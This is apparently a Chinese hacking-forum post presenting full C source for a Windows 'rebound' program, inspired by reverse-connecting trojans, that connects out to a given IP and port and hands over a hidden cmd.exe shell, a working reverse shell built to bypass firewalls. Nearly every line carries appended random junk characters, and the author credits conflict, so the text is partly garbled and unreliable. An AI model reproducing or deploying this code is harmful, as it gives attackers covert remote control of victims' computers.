这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LC\U6J't1
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/* ============================== G^eXJusOv
Rebound port in Windows NT KKWvV4u
By wind,2006/7 EBr?>hl
===============================*/ ;V?d;O4u
#include pbw{EzM
#include ,_Kr}RH
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#pragma comment(lib,"wsock32.lib") Ys&)5j-
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void OutputShell(); :+ "H h%
SOCKET sClient; 2 gR*] ?C*
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1+YqdDqQ
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void main(int argc,char **argv) `PSjkF(
{ Xg*](>/\,
WSADATA stWsaData; aPQxpK?
int nRet; qv'w 7T
SOCKADDR_IN stSaiClient,stSaiServer; [+!&iN
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if(argc != 3) $g/h=w@
{ e+MQmWA'F
printf("Useage:\n\rRebound DestIP DestPort\n"); yrd1J$
return; vTTXeS-b
} T k@ ~w
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WSAStartup(MAKEWORD(2,2),&stWsaData); d`~~Ww1
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); FZLx.3k4
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stSaiClient.sin_family = AF_INET; ?Ygd|a5
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [^^ Pl:+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) D3%2O`9
{ q'TIN{\.{
printf("Bind Socket Failed!\n"); &HtTh {
return; o"_'cNAz
} W|y;Kxy
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stSaiServer.sin_family = AF_INET; 0G0(g,3p
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Rd|8=`)
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); OHrzN']
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oR/_{#Mz"
{ \ Ce*5h
printf("Connect Error!"); }}D32TVN
return; wm_rU]
} tw&v@HUP
OutputShell(); 5$+ssR_?k
} iRbe$v&N
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void OutputShell() P{yb%@I~J
{ lW|v_oP9
char szBuff[1024]; Aa4Tq2G
SECURITY_ATTRIBUTES stSecurityAttributes; U4<c![Pp.
OSVERSIONINFO stOsversionInfo; L"n)fe$
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6U.|0mG[
STARTUPINFO stStartupInfo; h9#)Eo
char *szShell; z^z`{B
PROCESS_INFORMATION stProcessInformation; fc9@l a
unsigned long lBytesRead; ]5Dh<QY&.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hmt2~>FI[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ip:54
stSecurityAttributes.lpSecurityDescriptor = 0; wy0?*)~
stSecurityAttributes.bInheritHandle = TRUE; c?u*,d) G
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Kf*Dy:e
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^$sqU
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 32j}ep.*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rNTLP
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stStartupInfo.wShowWindow = SW_HIDE; Dad$_%
stStartupInfo.hStdInput = hReadPipe; 0bT[05.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; KIag(!&
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GetVersionEx(&stOsversionInfo); [uLsM<C
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switch(stOsversionInfo.dwPlatformId) !8|}-eFY
{ CxZh^V8LP
case 1: l`i97P?/W
szShell = "command.com"; B4wRwrVI>
break; [~ 2imS
default: j49Uj}:j
szShell = "cmd.exe"; / of K7/
break; 2J8:_Ql3I
} u+KZ. n/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q!?*M?Oz
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send(sClient,szMsg,77,0); "Y=`w,~~
while(1) T'@+MA) ~
{ \7"|'fz
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qc5[e
if(lBytesRead) #j=yQrJ
{ G{E`5KIvm
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); l-l7jq]R
} V3cKbk7~
else x|(pmqIH+
{ \ "$$c
lBytesRead=recv(sClient,szBuff,1024,0); )<:TpMdUk
if(lBytesRead<=0) break; AyOibnoZ2E
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); rxH]'6kP
} 1{
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} IhYR4?e
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return; ;'= cNj
}